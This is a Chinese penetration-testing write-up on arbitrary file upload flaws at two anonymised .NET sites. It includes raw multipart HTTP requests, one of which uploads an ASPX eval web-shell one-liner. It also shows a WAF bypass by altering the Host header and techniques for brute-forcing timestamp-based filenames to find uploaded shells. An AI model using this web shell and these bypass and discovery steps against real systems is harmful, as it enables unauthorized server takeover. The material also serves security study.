「滲透測試」一次運氣很好的檔案上傳

「滲透測試」一次運氣很好的檔案上傳

檔案上傳

發現原始碼洩露

開啟自己珍藏已久的辣雞字典,掃描發現存在bin。zip資訊洩露,嘗試進行程式碼審計

檔案位置:SimpleDataPlatform。SimpleDataPlatform。fileUpload

找到ProccessRequest接收請求,可以看到獲取了一堆引數後(初始化),後進入了HandleFiles方法,

「滲透測試」一次運氣很好的檔案上傳

跟進HandleFiles進行處理,如果dateType=ZBJHSB時,就繼續處理請求,dateType為GET傳參

「滲透測試」一次運氣很好的檔案上傳

路徑為/Uploads/SetData/ZBJHSB,str名稱為時間戳,且str2(字尾)沒有進行限制就進行儲存,

「滲透測試」一次運氣很好的檔案上傳

OK,這應該是一個妥妥的任意檔案上傳了,只要有返回值,那麼這個站就沒了。但是很不湊巧的是,他沒有返回值。

由於方法fileUpload,瞎猜檔名為

fileUpload。aspxfileUpload。ashxfileUpload。asmxfileUploads。aspxfileUploads。asmxfileUploads。ashxUpload。。。。。等

加上自己現有的字典爆破了一波,成功找到了返回了200的檔名http://xxx。com:6039/FileUploads。ashx

直接構造上傳表單,這裡Form裡的name欄位應該是沒有具體設定的(程式碼裡沒有找到),發表後返回200,可能真的傳上去了吧?

POST /FileUploads。ashx?DataType=ZBJHSB HTTP/1。1Host: xxx。cn:6039Content-Length: 195User-Agent: Mozilla/5。0 (Windows NT 10。0; Win64; x64) AppleWebKit/537。36 (KHTML, like Gecko) Chrome/93。0。4577。82 Safari/537。36X-Requested-With: XMLHttpRequestContent-Type: multipart/form-data; boundary=——WebKitFormBoundarySVkAJfiOUeRxhsu8Accept: */*Connection: close————WebKitFormBoundarySVkAJfiOUeRxhsu8Content-Disposition: form-data; name=“File”; filename=“1。aspx”Content-Type: image/jpeg11111111111————WebKitFormBoundarySVkAJfiOUeRxhsu8——

「滲透測試」一次運氣很好的檔案上傳

之前我們看到使用的格式為yyyyMMddHHmmssfff作為檔名,然後直接擷取字尾作為ext,而且我們有了具體的路徑,那麼只需要爆破時間戳檔名即可拿下該站點,以前還沒有這麼做過,不妨試試。

爆破時間戳

使用Powershell生成時間戳,然後此時在Burp按下go傳送請求包

powershell -c Get-Date -Format yyyyMMddHHmmssfff

「滲透測試」一次運氣很好的檔案上傳

再爆破後面5位數字,也就是ssfff(由於電腦上的時間不一定準,有時候甚至可能要爆破6位)

不知道等了多久

「滲透測試」一次運氣很好的檔案上傳

運氣真好,後面的就不多說了。

站點2:檔案上傳

找到上傳介面

開啟網站http://xxxx:880/zwwpt/#/就發現存在一個webpack debug模式未關閉,檢視JS發現上傳介面

「滲透測試」一次運氣很好的檔案上傳

http://xxxxxx:880/zwwpt/data/menuData。json

發現了一個隱藏的html頁面,這個頁面在前端的功能點是點不到的。

「滲透測試」一次運氣很好的檔案上傳

http://xxxxxx:880/jtwxt/xgjt/security_risk。html

點選附件上傳抓包

「滲透測試」一次運氣很好的檔案上傳

發現存在waf,當攔截住waf的時候,會返回404,大概資料包就是這樣(省略了一些其他的無用引數)

POST /jtwpt/Ashxs/BaseInfoTransfer。ashx HTTP/1。1Host: xxxxx。cn:880Cookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810Connection: close————WebKitFormBoundary7PCqG5iQ5vwLZ6ABContent-Disposition: form-data; name=“uploadfile[]”; filename=“1。aspx”Content-Type: image/jpeg<%@ Page Language=“Jscript”%><%eval(Request。Item[“pass”],“unsafe”);%>————WebKitFormBoundary7PCqG5iQ5vwLZ6AB——

繞過

修改HOST:

xxxx。cn:880為xxxx。cn或xxx。cn:8888(不為880埠應該都可以)

POST /jtwpt/Ashxs/BaseInfoTransfer。ashx HTTP/1。1Host: xxxxx。cnCookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810Connection: close————WebKitFormBoundary7PCqG5iQ5vwLZ6ABContent-Disposition: form-data; name=“uploadfile[]”; filename=“1。aspxContent-Type: image/jpeg1111————WebKitFormBoundary7PCqG5iQ5vwLZ6AB——

成功饒過waf,上傳成功,但是沒有返回路徑

「滲透測試」一次運氣很好的檔案上傳

尋找路徑

但是之前爆破目錄找到了/uploads/目錄和/image/目錄

「滲透測試」一次運氣很好的檔案上傳

「滲透測試」一次運氣很好的檔案上傳

而且發現html名為security_risk。html,構造路徑securityrisk、security_risk、security等,然後跑了一下目錄

最終發現存在 http://xxx。cn:880/uploads/securityrisk/ 這個目錄

「滲透測試」一次運氣很好的檔案上傳

猜測可能上傳的檔案很有可能在該目錄下,不然沒必要起這麼像的名字吧,而且還叫upload,於是嘗試直接訪問剛剛的檔名1。txt,返回是404

http://xxx。cn:880/uploads/securityrisk/1。txt

「滲透測試」一次運氣很好的檔案上傳

爆破時間戳

根據自己微不足道的經驗,dot。net架構的網站喜歡使用時間戳來命名,因此構造當前時間戳,嘗試爆破上傳時間附近的時間點的時間戳值。

時間戳一般為10位或者13位

「滲透測試」一次運氣很好的檔案上傳

檔案上傳後強制轉換的檔名命名規律一般有

1、隨機字串

xxx-xxx-xxx——xxx。jpg 格式這種型別我們沒法猜,如果沒目錄遍歷或者返回路徑,那麼基本上只能放棄

2、時間戳型別

直接以時間戳+。jpg為檔名(如1631868676。jpg)時間戳+00001時間戳+0001時間戳+001時間戳+01時間戳

3、yymmddHHmm型別

這種型別一般以20210917xxxxx這種格式,xxxx應該為毫秒級別的數字,我們可以直接使用Burp進行爆破跑,4——6位還是可能跑的出來的,再多就跑不出來了。

powershell -c Get-Date -Format yyyyMMddHHmm

「滲透測試」一次運氣很好的檔案上傳

yyyyMMddHHmmssfffyyyyMMddHHmmssfff+00001yyyyMMddHHmmssfff+0001yyyyMMddHHmmssfff+001yyyyMMddHHmmssfff+01yyyyMMddHHmmssfffyyyyMMddHHmmssyyyyMMddHHmmss+00001yyyyMMddHHmmss+0001yyyyMMddHHmmss+001yyyyMMddHHmmss+01yyyyMMddHHmmss

整理好了思路我們就開始爆破吧,我們只需選擇在Burp發表時記住當前時間,然後獲取當前時間戳,然後使用Burp intruder爆破來跑,一個一個地整理過去,大概需要重複操作15次,每次我就選擇最後5位數字來進行爆破(只要網站不掛,不疏漏每一種型別應該是沒什麼問題的)

「滲透測試」一次運氣很好的檔案上傳

經過大量爆破後,發現了上傳的文字檔案,格式內容為

yyyyMMddHHmmss+0001

成功找到路徑後,後面的就無需多言了

但是這種方法還是比較靠運氣的,因為很有可能當前伺服器的時間和目標網站的時間不一致,比如差個幾個小時,甚至差個幾天這種情況。 如果為yyyyMMddHHmmssfff的情況,那基本是沒辦法了,自認倒黴 如果是yyyyMMddHHmmss的情況,那麼爆破6位數字,還是可能爆破出來的。

至此,兩個站都拿到了許可權,夢醒了。

「滲透測試」一次運氣很好的檔案上傳